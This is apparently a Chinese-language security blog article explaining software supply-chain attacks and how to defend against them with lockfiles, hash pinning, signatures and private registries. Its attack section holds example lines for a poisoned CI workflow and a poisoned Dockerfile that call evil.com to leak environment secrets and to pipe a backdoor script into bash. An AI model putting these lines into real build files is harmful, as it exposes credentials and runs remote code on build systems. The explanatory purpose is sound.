0x00 介绍
供应链攻击是近年增长最快的攻击向量之一。攻击者不直接攻击目标,而是感染其依赖的软件组件——开源库、CI/CD 管道、更新服务器、Docker 镜像等。SolarWinds(2020)和 Log4j(2021)是供应链安全的分水岭事件,前者攻击了美国政府机构,后者影响了全球数十亿设备。
0x01 攻击面
依赖混淆(Dependency Confusion)
利用私有包与公共包命名冲突,在公共仓库注册同名包,高版本号的恶意包会被优先拉取。
# 攻击者发现目标公司内部包名: company-utils # 在 npm/PyPI 注册同名包,版本设为 99.99.99 # 构建系统优先拉取高版本公共包 → 代码执行 # npm 依赖混淆 npm install# 如果有 company-utils 的内部包 # 而攻击者在 npm 注册了 company-utils@99.0.0 → 中招 # PyPI 同样 pip install company-utils==*# 通配符解析到最高版本
仓库投毒(Repo Poisoning)
在流行开源项目中提交恶意 PR,或直接篡改仓库文件。即使被拒绝,恶意代码可能已在依赖解析中被缓存。
# Typosquatting(拼写混淆) npm install express# 正版 npm install experss# 攻击者的山寨包 npm install bcrypt# 正版 npm install bcrytp# 山寨 # 星标劫持(Starjacking) # fork 流行项目 → 添加恶意代码 → 重新发布到 npm
CI/CD 管道攻击
攻击者获取 CI/CD 系统的访问权限后,可修改构建流程、注入恶意步骤。
# GitHub Actions 注入 # .github/workflows/build.yml 被篡改 - name: Build run: | npm install curl http://evil.com/$(env)# 泄露 secrets npm run build # Dockerfile 投毒 FROM ubuntu:latest RUN curl -s http://evil.com/backdoor.sh | bash
更新劫持(Update Hijacking)
软件自动更新是经典的供应链攻击目标。攻击者控制更新服务器,或在传输层中间人更新包。
0x02 检测与防御
SBOM 软件物料清单
使用 SPDX/CycloneDX 格式生成依赖清单,自动化审计每个组件的来源和版本。
依赖锁定 + 签名验证
# npm npm ci# 根据 package-lock.json 精确安装 # pip pip install --require-hashes -r requirements.txt # Docker — 使用 digest 而非 tag FROM ubuntu@sha256:abc123... # 签名验证 npm audit signatures cosign verify image:tag
私有仓库 + 代理缓存
使用 Artifactory/Nexus 搭建私有仓库,代理公共包并扫描恶意代码。配置 scope 规则防止依赖混淆。
本文仅作安全研究与学习用途,用于非法行为后果自行承担。
夜雨聆风